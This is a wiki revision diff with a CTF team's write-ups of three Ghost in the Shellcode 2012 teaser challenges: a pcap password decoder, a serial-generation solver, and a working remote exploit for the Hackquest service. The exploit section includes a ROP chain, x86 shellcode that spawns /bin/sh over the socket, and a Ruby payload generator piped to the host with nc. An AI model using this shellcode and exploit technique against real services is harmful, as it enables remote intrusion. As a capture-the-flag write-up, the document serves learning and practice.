Difference between revisions of "Gits2012teaser"

From Fixme.ch
Jump to: navigation, search
(#1 TelAviv)
 
(12 intermediate revisions by 2 users not shown)
Line 1: Line 1:
== #1 TelAviv ==
+
[[Category:CTF]]
 +
[[Image:gits-scores.png]]
  
=== Question ===
+
= Ghost in the Shellcode 2012 Teasers writeups =
  
What is the password? ([[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])<br>
+
http://ghostintheshellcode.com/
Hint: TeLaViv+ is a packet forensics challenge.
+
  
=== Solution ===
+
Thanks to the organizers for those pretty nice teasers!
  
The file [[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|7139a4ea239dcac655f7c38ca6a77b61.bin]] is a regular pcap file which contains a single TCP session.
+
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
  
[[Image:gist-telaviv-tcp-session.png]]
+
* Challenge [[CTF/gits2012teaser/1-TelAviv|#1 TelAviv]] by [[User:Francois|Francois]]
 
+
* Challenge [[CTF/gits2012teaser/2-ALsRevenge|#2 AL's Revenge]] by [[User:Corecode|Corecode]]
The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:
+
* Challenge [[CTF/gits2012teaser/3-Hackquest|#3 Hackquest]] by [[User:Corecode|Corecode]]
 
+
* "GitS", probably some dummy data
+
* a NULL byte
+
* "Plague", potential username
+
* 233 remaining bytes, this is the actual password we're looking for
+
 
+
The hint (TeLaViv+) tells us that this password is probably encoded with [http://en.wikipedia.org/wiki/Type-length-value Type-Length-Value (TLV) encoding]. However, there was actually no type fields and the length of each field was one byte long.
+
 
+
[[Image:gist-telaviv-password-data.png]]
+
 
+
The following Python script ([[Media:tlv.py|tlv.py.txt]]) decodes the password:
+
 
+
<nowiki>#!/usr/bin/env python
+
#
+
# http://ghostintheshellcode.com/
+
# Ghost in the Shellcode 2012 Teaser
+
#
+
# Challenge #1 TelAviv
+
#
+
# By Francois Deppierraz <francois@ctrlaltdel.ch>
+
 
+
import sys
+
from pprint import pprint
+
from binascii import hexlify
+
 
+
f = open("7139a4ea239dcac655f7c38ca6a77b61.bin")
+
f.seek(0x244) # seek to the data of interest, offset found with wireshark
+
data = f.read(233) # data size
+
 
+
total_len = 0
+
packets = []
+
index=0
+
while index < len(data):
+
    length = ord(data[index])
+
    packets.append(data[index+1:index+1+length])
+
    index += length+1
+
    total_len += length+1
+
 
+
# Ensure that all data was actually parsed
+
assert total_len == len(data)
+
 
+
print "Found %d packets: " % len(packets)
+
for p in packets:
+
  print "  ",
+
  for c in p:
+
    print hex(ord(c)),
+
  print
+
print
+
 
+
numbers = [[ord(c) for c in p] for p in packets]
+
#print "Values: ",
+
#pprint(numbers)
+
#print
+
 
+
# Sum all byte values for each packet
+
sums = [sum(row) for row in numbers]
+
print "Sums: " + repr(sums)
+
print
+
 
+
s = "".join([chr(c/2) for c in sums])
+
print "Divide by 2 and then convert to ASCII: "
+
print s
+
print
+
 
+
print "Simple subsitution: "
+
# "Dro Zkccgybn sc" to "The Password is"
+
from_txt = "\":dro zkccgybn sc"
+
to_txt  = "\":the password is"
+
assert len(from_txt) == len(to_txt)
+
 
+
for c in s.lower():
+
  idx = from_txt.find(c)
+
  if idx != -1:
+
    sys.stdout.write(to_txt[idx])
+
  else:
+
    sys.stdout.write(".")
+
print
+
</nowiki>
+
 
+
<pre>
+
$ ./tlv.py
+
Found 37 packets:
+
  0x2b 0x2e 0x1 0x17 0x10 0x1 0x5 0x1
+
  0x57 0x21 0x57 0x1 0x1 0x12 0x1
+
  0x4d 0x5d 0x1d 0x8 0xd 0x2
+
  0x1b 0xa 0x18 0x2 0x1
+
  0x5a 0x4 0x46 0x10
+
  0x84 0x27 0x16 0x12 0x3
+
  0x9d 0x22 0x5 0x1 0x1
+
  0xb8 0x9 0x4 0x1
+
  0x33 0x5d 0x38 0x5 0x1
+
  0x5e 0xd 0x68 0x1f
+
  0x50 0x2d 0x1a 0x20 0x2 0x9 0x2
+
  0x90 0xc 0x20 0x10 0xf 0x1
+
  0x3a 0x4 0x1 0x1
+
  0x17 0x3b 0x34 0x18 0x37 0xf 0x1 0x1
+
  0x21 0x78 0x25 0x8
+
  0x1d 0x4b 0x8 0x3 0x1
+
  0x1a 0x21 0x2 0x3
+
  0x19 0x25 0x4 0x1 0x1
+
  0x5c 0x17 0x12 0x2 0x1
+
  0x5d 0x49 0x33 0x4 0x3 0x2 0x1 0x1
+
  0x96 0x1a 0x29 0x5
+
  0x3a 0x5 0x1
+
  0x39 0x4 0x53 0xa 0x1 0x1
+
  0x79 0x2 0x7 0x1b 0x1 0x37 0x1
+
  0x3 0xe 0x18 0x17
+
  0x6e 0x11 0x9 0x3 0x1
+
  0xb4 0x6 0x1 0x3 0x4 0x3 0x1e 0x2 0x1
+
  0x2 0xa7 0x10 0x10 0x12 0x13 0x2
+
  0x4c 0x9 0x43 0x7 0xd 0x4 0x2a
+
  0xd 0x78 0x5f 0x2
+
  0x2b 0x7 0xd 0x1
+
  0x74 0xd 0xe 0x9 0x2
+
  0x2d 0xa6 0xd 0xb 0x1 0x6
+
  0x9d 0x39 0x5 0x1
+
  0xd5 0x9
+
  0x38 0x6 0x2 0x2 0x1 0x1
+
  0x2f 0x5 0xb 0x1
+
 
+
Sums: [136, 228, 222, 64, 180, 214, 198, 198, 206, 242, 196, 220, 64, 230, 198, 116, 64, 68, 136, 228, 222, 64, 156, 214, 64, 140, 230, 240, 218, 230, 64, 154, 242, 220, 222, 68, 64]
+
 
+
Divide by 2 and then convert to ASCII:
+
Dro Zkccgybn sc: "Dro Nk Fsxms Myno"
+
 
+
Simple subsitution:
+
the password is: "the da .i..i .ode"
+
</pre>
+
 
+
== #2 AL's Revenge ==
+
 
+
=== Question ===
+
 
+
Use your team GUID and generate a serial. ([[Media:49dd327824d5afe9cdf931ea4b13719f.bin|File]])<br>
+
Hint: [[Media:17b82879c583eeae763ecfa9a135e431.cpp|File]]
+
 
+
=== Solution ===
+
 
+
* file [[Media:49dd327824d5afe9cdf931ea4b13719f.bin|49dd327824d5afe9cdf931ea4b13719f.bin]] says xz compressed file -> xzcat > f
+
* file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
+
* analyze disassembly, extract C representation:
+
 
+
<pre>
+
int
+
VerifySerial(uint64_t name, uint64_t serial)
+
{
+
uint64_t a = 0x8000000000000000LL;
+
        uint64_t b = 0xa348fccd93aea5a7LL;
+
uint64_t result = 0;
+
 
+
/* high order bit set? */
+
if (name & a)
+
a ^= b;
+
 
+
if (serial & a)
+
serial ^= b;
+
 
+
while (serial != 0) {
+
if (serial & 1)
+
result ^= name;
+
 
+
serial >>= 1;
+
name <<= 1;
+
 
+
if (name & a)
+
name ^= b;
+
}H
+
 
+
return (result == 1);
+
}
+
</pre>
+
 
+
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
+
* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
+
* The shifting and xoring produces a set of integers, call them name_i.  If the serial bit s_i is set, name_i gets added to the result.  So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
+
* lacking math package fu, implement a gaussian elimination manually:
+
 
+
<pre>
+
class Numeric
+
  def bits64
+
    sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
+
  end
+
end
+
 
+
def names(name)
+
  p = 0xa348fccd93aea5a7
+
 
+
  if (name >> 63) & 1 == 1
+
    name ^= p
+
  end
+
 
+
  ([name] + 63.times.map do |i|
+
    name <<= 1
+
    if (name >> 63) & 1 == 1
+
      name ^= p
+
    end
+
    name
+
  end).map(&:bits64)
+
end
+
 
+
class Array
+
  def pivot
+
    res = []
+
    self[0].size.times.map do |i|
+
      self.size.times.map do |j|
+
        self[j][i]
+
      end
+
    end
+
  end
+
 
+
  def bitary_to_int
+
    self.join.to_i(2)
+
  end
+
end
+
 
+
class Eq < Array
+
  attr_accessor :res
+
 
+
  def initialize(ary, res)
+
    self.replace(ary)
+
    @res = res
+
  end
+
 
+
  def lead_zero
+
    self.take_while{|e| e == 0}
+
  end
+
 
+
  def first_pos
+
    self.index(1)
+
  end
+
 
+
  def subtract(o)
+
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
+
  end
+
end
+
 
+
class EqSys < Array
+
  def initialize(ary, res=nil)
+
    if !(Eq === ary[0]) && !ary.empty?
+
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
+
    end
+
    self.replace(ary)
+
  end
+
 
+
  def sort_by_zeros
+
    self.sort do |a, b|
+
      a.lead_zero <=> b.lead_zero
+
    end
+
  end
+
 
+
  def subtract_eq(eq)
+
    pos = eq.first_pos
+
    return self if not pos
+
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
+
  end
+
 
+
  def elim
+
    front = EqSys.new([])
+
    cur = nil
+
    rest = self.sort_by_zeros
+
    while not rest.empty?
+
      front << cur if cur
+
      cur = rest.shift
+
 
+
      front = front.subtract_eq(cur)
+
      rest = rest.subtract_eq(cur)
+
      rest = rest.sort_by_zeros
+
    end
+
    front << cur
+
 
+
    front
+
  end
+
 
+
  def to_s
+
    self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
+
  end
+
end
+
 
+
require 'pp'
+
if __FILE__ == $0
+
  ns = names(0x6638623261336134)
+
 
+
  pv = ns.pivot
+
  es = EqSys.new(pv, 1.bits64)
+
 
+
  puts es.to_s
+
  puts
+
 
+
  r = es.elim
+
  puts r.to_s
+
 
+
  res = r.map{|e| e.res}.reverse
+
  puts res.bitary_to_int.to_s(16)
+
 
+
  s0 = r.pivot.last.reverse
+
  puts s0.bitary_to_int.to_s(16)
+
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
+
end
+
</pre>
+
 
+
== #3 Hackquest ==
+
 
+
=== Question ===
+
 
+
Find the key. (File running at hackquest.ghostintheshellcode.com:7331)<br>
+
Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin|Binary file]]<br>
+
Hint: [[Media:1f5d7afa5f3765385a9973e1d500bee7.c|Partial source code]]
+
 
+
=== Solution ===
+
 
+
* Remote system running some sort of text adventure.
+
* Hint dropped source code partially (extremely helpful)
+
* Hint from irc: look at the items
+
* struct ItemInfo contains a union:
+
 
+
<pre>
+
union
+
{
+
        void* data;
+
        LocationInfo* newLocation;
+
        struct ItemInfo* newItem;
+
        struct
+
        {
+
                ActionInfo* actionInfo;
+
                char* requiredTarget;
+
        } action;
+
        struct
+
        {
+
                char* name;
+
                struct ItemInfo* newItem;
+
        } namedUnwrap;
+
} info;
+
</pre>
+
 
+
* magical item:
+
 
+
<pre>
+
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
+
</pre>
+
 
+
* use() has an insufficient test:
+
 
+
<pre>
+
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
+
    (item->type == ITEM_UNWRAP))
+
{
+
        sendMsg(s, "That item can't have a target.\n");
+
        ok = false;
+
}
+
else if (!strcasecmp(item->info.action.requiredTarget, target))
+
{
+
        sendMsg(s, item->message);
+
        item->info.action.actionInfo->func(s);
+
        showDesc = item->info.action.actionInfo->showDesc;
+
}
+
</pre>
+
 
+
* if we "use letter on $target", we can make it call ->func()
+
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
+
* ->func aliases with .name
+
* the game asks us for our name, and stores this into a 31 byte static buffer
+
* whatever we use as name will be used as function address to be called -> we captured control flow
+
* ROP ensues:
+
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
+
* then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
+
* our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
+
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)
+
* bootstrap code copies stack-relative buffer to our page, then transfers control:
+
 
+
<pre>
+
leal 0x41(%esp),%esi # calc source from stack offset
+
popl %edi # dest addr is already on stack
+
pushl $0x41 # dest offset so that we don't get overwritten
+
popl %ecx # duplicates as length
+
addl %ecx,%edi # add offset
+
push %edi # store dest for later
+
rep movsl # copy
+
popl %edi # retrieve old dest
+
jmp *%edi # jump there
+
</pre>
+
 
+
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
+
 
+
<pre>
+
pushl %ecx # ecx was cleared by rep above, put 0 on stack
+
movl 0xAB(%esp),%ebx # get socket fd from stack offset
+
1:
+
pushl $0x3f # dup2 syscall number
+
popl %eax # into eax
+
int $0x80 # do syscall
+
inc %ecx # inc desc2
+
cmp $0x3,%cl # do for 0, 1, 2
+
jne 1b # repeat
+
 
+
popl %ecx # zero ecx = argv
+
mull %ecx # zero eax, edx = env
+
        pushl $0x0068732f # /sh\0
+
        pushl  $0x6e69622f # /bin
+
movl %esp,%ebx # string arg
+
movb $0xb,%al # execve syscall number
+
int $0x80 # magic!
+
</pre>
+
 
+
* cat key.txt
+
 
+
* all combined, use as (ruby h.rb; cat) | nc host 7331
+
 
+
<pre>
+
addr = 0x60606000              # our page address
+
src = 0x804c2a0                # from 0x80498f4
+
 
+
sockoffset = 0xbc
+
 
+
p = [
+
    # offset 0
+
    "use letter on ",
+
    # offset 14
+
    0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
+
    # offset 31
+
    " " * (0x44 - 32),          # fill
+
    # offset 0x44
+
    0x80486d4,          # C mmap
+
    0x8048db5,          # L add $0x1c,%esp | ret
+
    addr,              # (void *addr,
+
    4096,              #  size_t len,
+
    1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
+
    0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
+
    0,                  #  int filedes,
+
    0,                  #  off_t off)
+
    0,                  # filler, also possibly offset
+
    0x80487d4,          # C memcpy
+
    addr,              # L addr = shellcode
+
    addr,              # (void *dest,
+
    src + 4,            #  const void *src,
+
    200,                #  size_t n).
+
   
+
    [
+
      0x51,                        # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
+
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx  # get socket fd from stack offset
+
    [0x6a, 0x3f,                  # 1: pushl $0x3f # dup2 syscall number
+
      0x58,                        # popl  %eax    # into eax
+
      0xcd, 0x80,                  # int  $0x80    # do syscall
+
      0x41,                        # inc  %ecx    # inc desc2
+
      0x80, 0xf9, 0x03,            # cmp  $0x3,%cl # do for 0, 1, 2
+
      0x75, 0xf5,                  # jne  1b      # repeat
+
 
+
      0x59,      # popl  %ecx  # zero ecx = argv
+
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
+
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
+
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
+
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
+
      0xb0, 0x0b, # movb  $0xb,%al  # execve syscall number
+
      0xcd, 0x80  # int $0x80        # magic!
+
    ]
+
    ]
+
 
+
shellcode = 0xc
+
 
+
# this lives at src
+
namelen = 20
+
name = [
+
        # stack pivot
+
        0x08049019,              # add $0x9c,%esp | ret
+
 
+
        # bootstrap shellcode
+
        [
+
        0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
+
        0x5f,                    # popl  %edi
+
        0x6a, namelen,          # pushl $XXX
+
        0x59,                    # popl  %ecx
+
        0x01, 0xcf,              # addl  %ecx,%edi
+
        0x57,                    # push  %edi
+
        0xf3, 0xa5,              # rep movsl
+
        0x5f,                    # popl  %edi
+
        0xff, 0xe7,              # jmp  *%edi
+
        ],
+
      ]
+
 
+
all = name +
+
  [
+
  "\n",
+
  "get can\n",
+
  "use can\n",
+
  "go south\n",
+
  "get letter\n",
+
  ] +
+
  p + ["\n"]
+
 
+
def collapse(a)
+
  a.map do |e|
+
    case e
+
    when Numeric
+
      [e].pack("V")
+
    when Array
+
      e.pack('C*')
+
    else
+
      e.to_s
+
    end
+
  end.join
+
end
+
 
+
if __FILE__ == $0
+
  cp = collapse(all)
+
  # puts cp.size
+
  print cp
+
end
+
</pre>
+

Latest revision as of 09:24, 22 October 2012

Gits-scores.png

Ghost in the Shellcode 2012 Teasers writeups

http://ghostintheshellcode.com/

Thanks to the organizers for those pretty nice teasers!

The following writeups have been made by members of the FIXME team during between January 6th and January 8th.